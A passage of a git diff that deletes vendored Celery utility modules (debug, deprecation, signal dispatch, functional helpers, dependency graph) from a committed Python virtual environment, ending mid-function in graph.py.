f'<{type(self).__name__}: {len(self)}/{self.maxsize}>' - - def __iter__(self): - # type: () -> Iterable - while 1: - try: - yield self._pop() - except IndexError: - break - - def __len__(self): - # type: () -> int - return self._len() - - def __contains__(self, item) -> bool: - return item in self.data - - def __reversed__(self): - # type: () -> Iterable - return reversed(self.data) - - def __getitem__(self, index): - # type: (Any) -> Any - return self.data[index] - - @property - def _evictcount(self): - # type: () -> int - return len(self) - - -Sequence.register(Messagebuffer) - - -class BufferMap(OrderedDict, Evictable): - """Map of buffers.""" - - Buffer = Messagebuffer - Empty = Empty - - maxsize = None - total = 0 - bufmaxsize = None - - def __init__(self, maxsize, iterable=None, bufmaxsize=1000): - # type: (int, Iterable, int) -> None - super().__init__() - self.maxsize = maxsize - self.bufmaxsize = 1000 - if iterable: - self.update(iterable) - self.total = sum(len(buf) for buf in self.items()) - - def put(self, key, item): - # type: (Any, Any) -> None - self._get_or_create_buffer(key).put(item) - self.total += 1 - self.move_to_end(key) # least recently used. - self.maxsize and self._evict() - - def extend(self, key, it): - # type: (Any, Iterable) -> None - self._get_or_create_buffer(key).extend(it) - self.total += len(it) - self.maxsize and self._evict() - - def take(self, key, *default): - # type: (Any, *Any) -> Any - item, throw = None, False - try: - buf = self[key] - except KeyError: - throw = True - else: - try: - item = buf.take() - self.total -= 1 - except self.Empty: - throw = True - else: - self.move_to_end(key) # mark as LRU - - if throw: - if default: - return default[0] - raise self.Empty() - return item - - def _get_or_create_buffer(self, key): - # type: (Any) -> Messagebuffer - try: - return self[key] - except KeyError: - buf = self[key] = self._new_buffer() - return buf - - def _new_buffer(self): - # type: () -> Messagebuffer - return self.Buffer(maxsize=self.bufmaxsize) - - def _LRUpop(self, *default): - # type: (*Any) -> Any - return self[self._LRUkey()].take(*default) - - def _pop_to_evict(self): - # type: () -> None - for _ in range(100): - key = self._LRUkey() - buf = self[key] - try: - buf.take() - except (IndexError, self.Empty): - # buffer empty, remove it from mapping. - self.pop(key) - else: - # we removed one item - self.total -= 1 - # if buffer is empty now, remove it from mapping. - if not len(buf): - self.pop(key) - else: - # move to least recently used. - self.move_to_end(key) - break - - def __repr__(self): - # type: () -> str - return f'<{type(self).__name__}: {self.total}/{self.maxsize}>' - - @property - def _evictcount(self): - # type: () -> int - return self.total diff --git a/backend/venv/Lib/site-packages/celery/utils/debug.py b/backend/venv/Lib/site-packages/celery/utils/debug.py deleted file mode 100644 index 3515dc84..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/debug.py +++ /dev/null @@ -1,193 +0,0 @@ -"""Utilities for debugging memory usage, blocking calls, etc.""" -import os -import sys -import traceback -from contextlib import contextmanager -from functools import partial -from pprint import pprint - -from celery.platforms import signals -from celery.utils.text import WhateverIO - -try: - from psutil import Process -except ImportError: - Process = None - -__all__ = ( - 'blockdetection', 'sample_mem', 'memdump', 'sample', - 'humanbytes', 'mem_rss', 'ps', 'cry', -) - -UNITS = ( - (2 ** 40.0, 'TB'), - (2 ** 30.0, 'GB'), - (2 ** 20.0, 'MB'), - (2 ** 10.0, 'KB'), - (0.0, 'b'), -) - -_process = None -_mem_sample = [] - - -def _on_blocking(signum, frame): - import inspect - raise RuntimeError( - f'Blocking detection timed-out at: {inspect.getframeinfo(frame)}' - ) - - -@contextmanager -def blockdetection(timeout): - """Context that raises an exception if process is blocking. - - Uses ``SIGALRM`` to detect blocking functions. - """ - if not timeout: - yield - else: - old_handler = signals['ALRM'] - old_handler = None if old_handler == _on_blocking else old_handler - - signals['ALRM'] = _on_blocking - - try: - yield signals.arm_alarm(timeout) - finally: - if old_handler: - signals['ALRM'] = old_handler - signals.reset_alarm() - - -def sample_mem(): - """Sample RSS memory usage. - - Statistics can then be output by calling :func:`memdump`. - """ - current_rss = mem_rss() - _mem_sample.append(current_rss) - return current_rss - - -def _memdump(samples=10): # pragma: no cover - S = _mem_sample - prev = list(S) if len(S) <= samples else sample(S, samples) - _mem_sample[:] = [] - import gc - gc.collect() - after_collect = mem_rss() - return prev, after_collect - - -def memdump(samples=10, file=None): # pragma: no cover - """Dump memory statistics. - - Will print a sample of all RSS memory samples added by - calling :func:`sample_mem`, and in addition print - used RSS memory after :func:`gc.collect`. - """ - say = partial(print, file=file) - if ps() is None: - say('- rss: (psutil not installed).') - return - prev, after_collect = _memdump(samples) - if prev: - say('- rss (sample):') - for mem in prev: - say(f'- > {mem},') - say(f'- rss (end): {after_collect}.') - - -def sample(x, n, k=0): - """Given a list `x` a sample of length ``n`` of that list is returned. - - For example, if `n` is 10, and `x` has 100 items, a list of every tenth. - item is returned. - - ``k`` can be used as offset. - """ - j = len(x) // n - for _ in range(n): - try: - yield x[k] - except IndexError: - break - k += j - - -def hfloat(f, p=5): - """Convert float to value suitable for humans. - - Arguments: - f (float): The floating point number. - p (int): Floating point precision (default is 5). - """ - i = int(f) - return i if i == f else '{0:.{p}}'.format(f, p=p) - - -def humanbytes(s): - """Convert bytes to human-readable form (e.g., KB, MB).""" - return next( - f'{hfloat(s / div if div else s)}{unit}' - for div, unit in UNITS if s >= div - ) - - -def mem_rss(): - """Return RSS memory usage as a humanized string.""" - p = ps() - if p is not None: - return humanbytes(_process_memory_info(p).rss) - - -def ps(): # pragma: no cover - """Return the global :class:`psutil.Process` instance. - - Note: - Returns :const:`None` if :pypi:`psutil` is not installed. - """ - global _process - if _process is None and Process is not None: - _process = Process(os.getpid()) - return _process - - -def _process_memory_info(process): - try: - return process.memory_info() - except AttributeError: - return process.get_memory_info() - - -def cry(out=None, sepchr='=', seplen=49): # pragma: no cover - """Return stack-trace of all active threads. - - See Also: - Taken from https://gist.github.com/737056. - """ - import threading - - out = WhateverIO() if out is None else out - P = partial(print, file=out) - - # get a map of threads by their ID so we can print their names - # during the traceback dump - tmap = {t.ident: t for t in threading.enumerate()} - - sep = sepchr * seplen - for tid, frame in sys._current_frames().items(): - thread = tmap.get(tid) - if not thread: - # skip old junk (left-overs from a fork) - continue - P(f'{thread.name}') - P(sep) - traceback.print_stack(frame, file=out) - P(sep) - P('LOCAL VARIABLES') - P(sep) - pprint(frame.f_locals, stream=out) - P('\n') - return out.getvalue() diff --git a/backend/venv/Lib/site-packages/celery/utils/deprecated.py b/backend/venv/Lib/site-packages/celery/utils/deprecated.py deleted file mode 100644 index a08b08b9..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/deprecated.py +++ /dev/null @@ -1,113 +0,0 @@ -"""Deprecation utilities.""" -import warnings - -from vine.utils import wraps - -from celery.exceptions import CDeprecationWarning, CPendingDeprecationWarning - -__all__ = ('Callable', 'Property', 'warn') - - -PENDING_DEPRECATION_FMT = """ - {description} is scheduled for deprecation in \ - version {deprecation} and removal in version v{removal}. \ - {alternative} -""" - -DEPRECATION_FMT = """ - {description} is deprecated and scheduled for removal in - version {removal}. {alternative} -""" - - -def warn(description=None, deprecation=None, - removal=None, alternative=None, stacklevel=2): - """Warn of (pending) deprecation.""" - ctx = {'description': description, - 'deprecation': deprecation, 'removal': removal, - 'alternative': alternative} - if deprecation is not None: - w = CPendingDeprecationWarning(PENDING_DEPRECATION_FMT.format(**ctx)) - else: - w = CDeprecationWarning(DEPRECATION_FMT.format(**ctx)) - warnings.warn(w, stacklevel=stacklevel) - - -def Callable(deprecation=None, removal=None, - alternative=None, description=None): - """Decorator for deprecated functions. - - A deprecation warning will be emitted when the function is called. - - Arguments: - deprecation (str): Version that marks first deprecation, if this - argument isn't set a ``PendingDeprecationWarning`` will be - emitted instead. - removal (str): Future version when this feature will be removed. - alternative (str): Instructions for an alternative solution (if any). - description (str): Description of what's being deprecated. - """ - def _inner(fun): - - @wraps(fun) - def __inner(*args, **kwargs): - from .imports import qualname - warn(description=description or qualname(fun), - deprecation=deprecation, - removal=removal, - alternative=alternative, - stacklevel=3) - return fun(*args, **kwargs) - return __inner - return _inner - - -def Property(deprecation=None, removal=None, - alternative=None, description=None): - """Decorator for deprecated properties.""" - def _inner(fun): - return _deprecated_property( - fun, deprecation=deprecation, removal=removal, - alternative=alternative, description=description or fun.__name__) - return _inner - - -class _deprecated_property: - - def __init__(self, fget=None, fset=None, fdel=None, doc=None, **depreinfo): - self.__get = fget - self.__set = fset - self.__del = fdel - self.__name__, self.__module__, self.__doc__ = ( - fget.__name__, fget.__module__, fget.__doc__, - ) - self.depreinfo = depreinfo - self.depreinfo.setdefault('stacklevel', 3) - - def __get__(self, obj, type=None): - if obj is None: - return self - warn(**self.depreinfo) - return self.__get(obj) - - def __set__(self, obj, value): - if obj is None: - return self - if self.__set is None: - raise AttributeError('cannot set attribute') - warn(**self.depreinfo) - self.__set(obj, value) - - def __delete__(self, obj): - if obj is None: - return self - if self.__del is None: - raise AttributeError('cannot delete attribute') - warn(**self.depreinfo) - self.__del(obj) - - def setter(self, fset): - return self.__class__(self.__get, fset, self.__del, **self.depreinfo) - - def deleter(self, fdel): - return self.__class__(self.__get, self.__set, fdel, **self.depreinfo) diff --git a/backend/venv/Lib/site-packages/celery/utils/dispatch/__init__.py b/backend/venv/Lib/site-packages/celery/utils/dispatch/__init__.py deleted file mode 100644 index b9329a7e..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/dispatch/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Observer pattern.""" -from .signal import Signal - -__all__ = ('Signal',) diff --git a/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f06bd96f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/signal.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/signal.cpython-311.pyc deleted file mode 100644 index 9058c55a..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/dispatch/__pycache__/signal.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/dispatch/signal.py b/backend/venv/Lib/site-packages/celery/utils/dispatch/signal.py deleted file mode 100644 index ad8047e6..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/dispatch/signal.py +++ /dev/null @@ -1,358 +0,0 @@ -"""Implementation of the Observer pattern.""" -import sys -import threading -import warnings -import weakref -from weakref import WeakMethod - -from kombu.utils.functional import retry_over_time - -from celery.exceptions import CDeprecationWarning -from celery.local import PromiseProxy, Proxy -from celery.utils.functional import fun_accepts_kwargs -from celery.utils.log import get_logger -from celery.utils.time import humanize_seconds - -__all__ = ('Signal',) - -logger = get_logger(__name__) - - -def _make_id(target): # pragma: no cover - if isinstance(target, Proxy): - target = target._get_current_object() - if isinstance(target, (bytes, str)): - # see Issue #2475 - return target - if hasattr(target, '__func__'): - return id(target.__func__) - return id(target) - - -def _boundmethod_safe_weakref(obj): - """Get weakref constructor appropriate for `obj`. `obj` may be a bound method. - - Bound method objects must be special-cased because they're usually garbage - collected immediately, even if the instance they're bound to persists. - - Returns: - a (weakref constructor, main object) tuple. `weakref constructor` is - either :class:`weakref.ref` or :class:`weakref.WeakMethod`. `main - object` is the instance that `obj` is bound to if it is a bound method; - otherwise `main object` is simply `obj. - """ - try: - obj.__func__ - obj.__self__ - # Bound method - return WeakMethod, obj.__self__ - except AttributeError: - # Not a bound method - return weakref.ref, obj - - -def _make_lookup_key(receiver, sender, dispatch_uid): - if dispatch_uid: - return (dispatch_uid, _make_id(sender)) - # Issue #9119 - retry-wrapped functions use the underlying function for dispatch_uid - elif hasattr(receiver, '_dispatch_uid'): - return (receiver._dispatch_uid, _make_id(sender)) - else: - return (_make_id(receiver), _make_id(sender)) - - -NONE_ID = _make_id(None) - -NO_RECEIVERS = object() - -RECEIVER_RETRY_ERROR = """\ -Could not process signal receiver %(receiver)s. Retrying %(when)s...\ -""" - - -class Signal: # pragma: no cover - """Create new signal. - - Keyword Arguments: - providing_args (List): A list of the arguments this signal can pass - along in a :meth:`send` call. - use_caching (bool): Enable receiver cache. - name (str): Name of signal, used for debugging purposes. - """ - - #: Holds a dictionary of - #: ``{receiverkey (id): weakref(receiver)}`` mappings. - receivers = None - - def __init__(self, providing_args=None, use_caching=False, name=None): - self.receivers = [] - self.providing_args = set( - providing_args if providing_args is not None else []) - self.lock = threading.Lock() - self.use_caching = use_caching - self.name = name - # For convenience we create empty caches even if they are not used. - # A note about caching: if use_caching is defined, then for each - # distinct sender we cache the receivers that sender has in - # 'sender_receivers_cache'. The cache is cleaned when .connect() or - # .disconnect() is called and populated on .send(). - self.sender_receivers_cache = ( - weakref.WeakKeyDictionary() if use_caching else {} - ) - self._dead_receivers = False - - def _connect_proxy(self, fun, sender, weak, dispatch_uid): - return self.connect( - fun, sender=sender._get_current_object(), - weak=weak, dispatch_uid=dispatch_uid, - ) - - def connect(self, *args, **kwargs): - """Connect receiver to sender for signal. - - Arguments: - receiver (Callable): A function or an instance method which is to - receive signals. Receivers must be hashable objects. - - if weak is :const:`True`, then receiver must be - weak-referenceable. - - Receivers must be able to accept keyword arguments. - - If receivers have a `dispatch_uid` attribute, the receiver will - not be added if another receiver already exists with that - `dispatch_uid`. - - sender (Any): The sender to which the receiver should respond. - Must either be a Python object, or :const:`None` to - receive events from any sender. - - weak (bool): Whether to use weak references to the receiver. - By default, the module will attempt to use weak references to - the receiver objects. If this parameter is false, then strong - references will be used. - - dispatch_uid (Hashable): An identifier used to uniquely identify a - particular instance of a receiver. This will usually be a - string, though it may be anything hashable. - - retry (bool): If the signal receiver raises an exception - (e.g. ConnectionError), the receiver will be retried until it - runs successfully. A strong ref to the receiver will be stored - and the `weak` option will be ignored. - """ - def _handle_options(sender=None, weak=True, dispatch_uid=None, - retry=False): - - def _connect_signal(fun): - - options = {'dispatch_uid': dispatch_uid, - 'weak': weak} - - def _retry_receiver(retry_fun): - - def _try_receiver_over_time(*args, **kwargs): - def on_error(exc, intervals, retries): - interval = next(intervals) - err_msg = RECEIVER_RETRY_ERROR % \ - {'receiver': retry_fun, - 'when': humanize_seconds(interval, 'in', ' ')} - logger.error(err_msg) - return interval - - return retry_over_time(retry_fun, Exception, args, - kwargs, on_error) - - return _try_receiver_over_time - - if retry: - options['weak'] = False - if not dispatch_uid: - # if there's no dispatch_uid then we need to set the - # dispatch uid to the original func id so we can look - # it up later with the original func id - options['dispatch_uid'] = _make_id(fun) - fun = _retry_receiver(fun) - fun._dispatch_uid = options['dispatch_uid'] - - self._connect_signal(fun, sender, options['weak'], - options['dispatch_uid']) - return fun - - return _connect_signal - - if args and callable(args[0]): - return _handle_options(*args[1:], **kwargs)(args[0]) - return _handle_options(*args, **kwargs) - - def _connect_signal(self, receiver, sender, weak, dispatch_uid): - assert callable(receiver), 'Signal receivers must be callable' - if not fun_accepts_kwargs(receiver): - raise ValueError( - 'Signal receiver must accept keyword arguments.') - - if isinstance(sender, PromiseProxy): - sender.__then__( - self._connect_proxy, receiver, sender, weak, dispatch_uid, - ) - return receiver - - lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) - - if weak: - ref, receiver_object = _boundmethod_safe_weakref(receiver) - receiver = ref(receiver) - weakref.finalize(receiver_object, self._remove_receiver) - - with self.lock: - self._clear_dead_receivers() - for r_key, _ in self.receivers: - if r_key == lookup_key: - break - else: - self.receivers.append((lookup_key, receiver)) - self.sender_receivers_cache.clear() - - return receiver - - def disconnect(self, receiver=None, sender=None, weak=None, - dispatch_uid=None): - """Disconnect receiver from sender for signal. - - If weak references are used, disconnect needn't be called. - The receiver will be removed from dispatch automatically. - - Arguments: - receiver (Callable): The registered receiver to disconnect. - May be none if `dispatch_uid` is specified. - - sender (Any): The registered sender to disconnect. - - weak (bool): The weakref state to disconnect. - - dispatch_uid (Hashable): The unique identifier of the receiver - to disconnect. - """ - if weak is not None: - warnings.warn( - 'Passing `weak` to disconnect has no effect.', - CDeprecationWarning, stacklevel=2) - - lookup_key = _make_lookup_key(receiver, sender, dispatch_uid) - - disconnected = False - with self.lock: - self._clear_dead_receivers() - for index in range(len(self.receivers)): - (r_key, _) = self.receivers[index] - if r_key == lookup_key: - disconnected = True - del self.receivers[index] - break - self.sender_receivers_cache.clear() - return disconnected - - def has_listeners(self, sender=None): - return bool(self._live_receivers(sender)) - - def send(self, sender, **named): - """Send signal from sender to all connected receivers. - - If any receiver raises an error, the exception is returned as the - corresponding response. (This is different from the "send" in - Django signals. In Celery "send" and "send_robust" do the same thing.) - - Arguments: - sender (Any): The sender of the signal. - Either a specific object or :const:`None`. - **named (Any): Named arguments which will be passed to receivers. - - Returns: - List: of tuple pairs: `[(receiver, response), … ]`. - """ - responses = [] - if not self.receivers or \ - self.sender_receivers_cache.get(sender) is NO_RECEIVERS: - return responses - - for receiver in self._live_receivers(sender): - try: - response = receiver(signal=self, sender=sender, **named) - except Exception as exc: # pylint: disable=broad-except - if not hasattr(exc, '__traceback__'): - exc.__traceback__ = sys.exc_info()[2] - logger.exception( - 'Signal handler %r raised: %r', receiver, exc) - responses.append((receiver, exc)) - else: - responses.append((receiver, response)) - return responses - send_robust = send # Compat with Django interface. - - def _clear_dead_receivers(self): - # Warning: caller is assumed to hold self.lock - if self._dead_receivers: - self._dead_receivers = False - new_receivers = [] - for r in self.receivers: - if isinstance(r[1], weakref.ReferenceType) and r[1]() is None: - continue - new_receivers.append(r) - self.receivers = new_receivers - - def _live_receivers(self, sender): - """Filter sequence of receivers to get resolved, live receivers. - - This checks for weak references and resolves them, then returning only - live receivers. - """ - receivers = None - if self.use_caching and not self._dead_receivers: - receivers = self.sender_receivers_cache.get(sender) - # We could end up here with NO_RECEIVERS even if we do check this - # case in .send() prior to calling _Live_receivers() due to - # concurrent .send() call. - if receivers is NO_RECEIVERS: - return [] - if receivers is None: - with self.lock: - self._clear_dead_receivers() - senderkey = _make_id(sender) - receivers = [] - for (receiverkey, r_senderkey), receiver in self.receivers: - if r_senderkey == NONE_ID or r_senderkey == senderkey: - receivers.append(receiver) - if self.use_caching: - if not receivers: - self.sender_receivers_cache[sender] = NO_RECEIVERS - else: - # Note: we must cache the weakref versions. - self.sender_receivers_cache[sender] = receivers - non_weak_receivers = [] - for receiver in receivers: - if isinstance(receiver, weakref.ReferenceType): - # Dereference the weak reference. - receiver = receiver() - if receiver is not None: - non_weak_receivers.append(receiver) - else: - non_weak_receivers.append(receiver) - return non_weak_receivers - - def _remove_receiver(self, receiver=None): - """Remove dead receivers from connections.""" - # Mark that the self..receivers first has dead weakrefs. If so, - # we will clean those up in connect, disconnect and _live_receivers - # while holding self.lock. Note that doing the cleanup here isn't a - # good idea, _remove_receiver() will be called as a side effect of - # garbage collection, and so the call can happen wh ile we are already - # holding self.lock. - self._dead_receivers = True - - def __repr__(self): - """``repr(signal)``.""" - return f'<{type(self).__name__}: {self.name} providing_args={self.providing_args!r}>' - - def __str__(self): - """``str(signal)``.""" - return repr(self) diff --git a/backend/venv/Lib/site-packages/celery/utils/functional.py b/backend/venv/Lib/site-packages/celery/utils/functional.py deleted file mode 100644 index 5fb0d633..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/functional.py +++ /dev/null @@ -1,402 +0,0 @@ -"""Functional-style utilities.""" -import inspect -from collections import UserList -from functools import partial -from itertools import islice, tee, zip_longest -from typing import Any, Callable - -from kombu.utils.functional import LRUCache, dictfilter, is_list, lazy, maybe_evaluate, maybe_list, memoize -from vine import promise - -from celery.utils.log import get_logger - -logger = get_logger(__name__) - -__all__ = ( - 'LRUCache', 'is_list', 'maybe_list', 'memoize', 'mlazy', 'noop', - 'first', 'firstmethod', 'chunks', 'padlist', 'mattrgetter', 'uniq', - 'regen', 'dictfilter', 'lazy', 'maybe_evaluate', 'head_from_fun', - 'maybe', 'fun_accepts_kwargs', -) - -FUNHEAD_TEMPLATE = """ -def {fun_name}({fun_args}): - return {fun_value} -""" - - -class DummyContext: - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - pass - - -class mlazy(lazy): - """Memoized lazy evaluation. - - The function is only evaluated once, every subsequent access - will return the same value. - """ - - #: Set to :const:`True` after the object has been evaluated. - evaluated = False - _value = None - - def evaluate(self): - if not self.evaluated: - self._value = super().evaluate() - self.evaluated = True - return self._value - - -def noop(*args, **kwargs): - """No operation. - - Takes any arguments/keyword arguments and does nothing. - """ - - -def pass1(arg, *args, **kwargs): - """Return the first positional argument.""" - return arg - - -def evaluate_promises(it): - for value in it: - if isinstance(value, promise): - value = value() - yield value - - -def first(predicate, it): - """Return the first element in ``it`` that ``predicate`` accepts. - - If ``predicate`` is None it will return the first item that's not - :const:`None`. - """ - return next( - (v for v in evaluate_promises(it) if ( - predicate(v) if predicate is not None else v is not None)), - None, - ) - - -def firstmethod(method, on_call=None): - """Multiple dispatch. - - Return a function that with a list of instances, - finds the first instance that gives a value for the given method. - - The list can also contain lazy instances - (:class:`~kombu.utils.functional.lazy`.) - """ - - def _matcher(it, *args, **kwargs): - for obj in it: - try: - meth = getattr(maybe_evaluate(obj), method) - reply = (on_call(meth, *args, **kwargs) if on_call - else meth(*args, **kwargs)) - except AttributeError: - pass - else: - if reply is not None: - return reply - - return _matcher - - -def chunks(it, n): - """Split an iterator into chunks with `n` elements each. - - Warning: - ``it`` must be an actual iterator, if you pass this a - concrete sequence will get you repeating elements. - - So ``chunks(iter(range(1000)), 10)`` is fine, but - ``chunks(range(1000), 10)`` is not. - - Example: - # n == 2 - >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 2) - >>> list(x) - [[0, 1], [2, 3], [4, 5], [6, 7], [8, 9], [10]] - - # n == 3 - >>> x = chunks(iter([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]), 3) - >>> list(x) - [[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10]] - """ - for item in it: - yield [item] + list(islice(it, n - 1)) - - -def padlist(container, size, default=None): - """Pad list with default elements. - - Example: - >>> first, last, city = padlist(['George', 'Costanza', 'NYC'], 3) - ('George', 'Costanza', 'NYC') - >>> first, last, city = padlist(['George', 'Costanza'], 3) - ('George', 'Costanza', None) - >>> first, last, city, planet = padlist( - ... ['George', 'Costanza', 'NYC'], 4, default='Earth', - ... ) - ('George', 'Costanza', 'NYC', 'Earth') - """ - return list(container)[:size] + [default] * (size - len(container)) - - -def mattrgetter(*attrs): - """Get attributes, ignoring attribute errors. - - Like :func:`operator.itemgetter` but return :const:`None` on missing - attributes instead of raising :exc:`AttributeError`. - """ - return lambda obj: {attr: getattr(obj, attr, None) for attr in attrs} - - -def uniq(it): - """Return all unique elements in ``it``, preserving order.""" - seen = set() - return (seen.add(obj) or obj for obj in it if obj not in seen) - - -def lookahead(it): - """Yield pairs of (current, next) items in `it`. - - `next` is None if `current` is the last item. - Example: - >>> list(lookahead(x for x in range(6))) - [(0, 1), (1, 2), (2, 3), (3, 4), (4, 5), (5, None)] - """ - a, b = tee(it) - next(b, None) - return zip_longest(a, b) - - -def regen(it): - """Convert iterator to an object that can be consumed multiple times. - - ``Regen`` takes any iterable, and if the object is an - generator it will cache the evaluated list on first access, - so that the generator can be "consumed" multiple times. - """ - if isinstance(it, (list, tuple)): - return it - return _regen(it) - - -class _regen(UserList, list): - # must be subclass of list so that json can encode. - - def __init__(self, it): - # pylint: disable=super-init-not-called - # UserList creates a new list and sets .data, so we don't - # want to call init here. - self.__it = it - self.__consumed = [] - self.__done = False - - def __reduce__(self): - return list, (self.data,) - - def map(self, func): - self.__consumed = [func(el) for el in self.__consumed] - self.__it = map(func, self.__it) - - def __length_hint__(self): - return self.__it.__length_hint__() - - def __lookahead_consume(self, limit=None): - if not self.__done and (limit is None or limit > 0): - it = iter(self.__it) - try: - now = next(it) - except StopIteration: - return - self.__consumed.append(now) - # Maintain a single look-ahead to ensure we set `__done` when the - # underlying iterator gets exhausted - while not self.__done: - try: - next_ = next(it) - self.__consumed.append(next_) - except StopIteration: - self.__done = True - break - finally: - yield now - now = next_ - # We can break out when `limit` is exhausted - if limit is not None: - limit -= 1 - if limit <= 0: - break - - def __iter__(self): - yield from self.__consumed - yield from self.__lookahead_consume() - - def __getitem__(self, index): - if index < 0: - return self.data[index] - # Consume elements up to the desired index prior to attempting to - # access it from within `__consumed` - consume_count = index - len(self.__consumed) + 1 - for _ in self.__lookahead_consume(limit=consume_count): - pass - return self.__consumed[index] - - def __bool__(self): - if len(self.__consumed): - return True - - try: - next(iter(self)) - except StopIteration: - return False - else: - return True - - @property - def data(self): - if not self.__done: - self.__consumed.extend(self.__it) - self.__done = True - return self.__consumed - - def __repr__(self): - return "<{}: [{}{}]>".format( - self.__class__.__name__, - ", ".join(repr(e) for e in self.__consumed), - "..." if not self.__done else "", - ) - - -def _argsfromspec(spec, replace_defaults=True): - if spec.defaults: - split = len(spec.defaults) - defaults = (list(range(len(spec.defaults))) if replace_defaults - else spec.defaults) - positional = spec.args[:-split] - optional = list(zip(spec.args[-split:], defaults)) - else: - positional, optional = spec.args, [] - - varargs = spec.varargs - varkw = spec.varkw - if spec.kwonlydefaults: - kwonlyargs = set(spec.kwonlyargs) - set(spec.kwonlydefaults.keys()) - if replace_defaults: - kwonlyargs_optional = [ - (kw, i) for i, kw in enumerate(spec.kwonlydefaults.keys()) - ] - else: - kwonlyargs_optional = list(spec.kwonlydefaults.items()) - else: - kwonlyargs, kwonlyargs_optional = spec.kwonlyargs, [] - - return ', '.join(filter(None, [ - ', '.join(positional), - ', '.join(f'{k}={v}' for k, v in optional), - f'*{varargs}' if varargs else None, - '*' if (kwonlyargs or kwonlyargs_optional) and not varargs else None, - ', '.join(kwonlyargs) if kwonlyargs else None, - ', '.join(f'{k}="{v}"' for k, v in kwonlyargs_optional), - f'**{varkw}' if varkw else None, - ])) - - -def head_from_fun(fun: Callable[..., Any], bound: bool = False) -> str: - """Generate signature function from actual function.""" - # we could use inspect.Signature here, but that implementation - # is very slow since it implements the argument checking - # in pure-Python. Instead we use exec to create a new function - # with an empty body, meaning it has the same performance as - # as just calling a function. - is_function = inspect.isfunction(fun) - is_callable = callable(fun) - is_cython = fun.__class__.__name__ == 'cython_function_or_method' - is_method = inspect.ismethod(fun) - - if not is_function and is_callable and not is_method and not is_cython: - name, fun = fun.__class__.__name__, fun.__call__ - else: - name = fun.__name__ - definition = FUNHEAD_TEMPLATE.format( - fun_name=name, - fun_args=_argsfromspec(inspect.getfullargspec(fun)), - fun_value=1, - ) - logger.debug(definition) - namespace = {'__name__': fun.__module__} - # pylint: disable=exec-used - # Tasks are rarely, if ever, created at runtime - exec here is fine. - exec(definition, namespace) - result = namespace[name] - result._source = definition - if bound: - return partial(result, object()) - return result - - -def arity_greater(fun, n): - argspec = inspect.getfullargspec(fun) - return argspec.varargs or len(argspec.args) > n - - -def fun_takes_argument(name, fun, position=None): - spec = inspect.getfullargspec(fun) - return ( - spec.varkw or spec.varargs or - (len(spec.args) >= position if position else name in spec.args) - ) - - -def fun_accepts_kwargs(fun): - """Return true if function accepts arbitrary keyword arguments.""" - return any( - p for p in inspect.signature(fun).parameters.values() - if p.kind == p.VAR_KEYWORD - ) - - -def maybe(typ, val): - """Call typ on value if val is defined.""" - return typ(val) if val is not None else val - - -def seq_concat_item(seq, item): - """Return copy of sequence seq with item added. - - Returns: - Sequence: if seq is a tuple, the result will be a tuple, - otherwise it depends on the implementation of ``__add__``. - """ - return seq + (item,) if isinstance(seq, tuple) else seq + [item] - - -def seq_concat_seq(a, b): - """Concatenate two sequences: ``a + b``. - - Returns: - Sequence: The return value will depend on the largest sequence - - if b is larger and is a tuple, the return value will be a tuple. - - if a is larger and is a list, the return value will be a list, - """ - # find the type of the largest sequence - prefer = type(max([a, b], key=len)) - # convert the smallest list to the type of the largest sequence. - if not isinstance(a, prefer): - a = prefer(a) - if not isinstance(b, prefer): - b = prefer(b) - return a + b - - -def is_numeric_value(value): - return isinstance(value, (int, float)) and not isinstance(value, bool) diff --git a/backend/venv/Lib/site-packages/celery/utils/graph.py b/backend/venv/Lib/site-packages/celery/utils/graph.py deleted file mode 100644 index c1b0b55b..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/graph.py +++ /dev/null @@ -1,309 +0,0 @@ -"""Dependency graph implementation.""" -from collections import Counter -from textwrap import dedent - -from kombu.utils.encoding import bytes_to_str, safe_str - -__all__ = ('DOT', 'CycleError', 'DependencyGraph', 'GraphFormatter') - - -class DOT: - """Constants related to the dot format.""" - - HEAD = dedent(""" - {IN}{type} {id} {{ - {INp}graph [{attrs}] - """) - ATTR = '{name}={value}' - NODE = '{INp}"{0}" [{attrs}]' - EDGE = '{INp}"{0}" {dir} "{1}" [{attrs}]' - ATTRSEP = ', ' - DIRS = {'graph': '--', 'digraph': '->'} - TAIL = '{IN}}}' - - -class CycleError(Exception): - """A cycle was detected in an acyclic graph.""" - - -class DependencyGraph: - """A directed acyclic graph of objects and their dependencies. - - Supports a robust topological sort - to detect the order in which they must be handled. - - Takes an optional iterator of ``(obj, dependencies)`` - tuples to build the graph from. - - Warning: - Does not support cycle detection. - """ - - def __init__(self, it=None, formatter=None): - self.formatter = formatter or GraphFormatter() - self.adjacent = {} - if it is not None: - self.update(it) - - def add_arc(self, obj): - """Add an object to the graph.""" - self.adjacent.setdefault(obj, []) - - def add_edge(self, A, B): - """Add an edge from object ``A`` to object ``B``. - - I.e. ``A`` depends on ``B``. - """ - self[A].append(B) - - def connect(self, graph): - """Add nodes from another graph.""" - self.adjacent.update(graph.adjacent) - - def topsort(self): - """Sort the graph topologically. - - Returns: - List: of objects in the order in which they must be handled. - """ - graph = DependencyGraph() - components = self._tarjan72() - - NC = { - node: component for component in components for node in component - } - for component in components: - graph.add_arc(component) - for node in self: - node_c = NC[node] - for successor in self[node]: - successor_c = NC[successor] - if node_c != successor_c: - 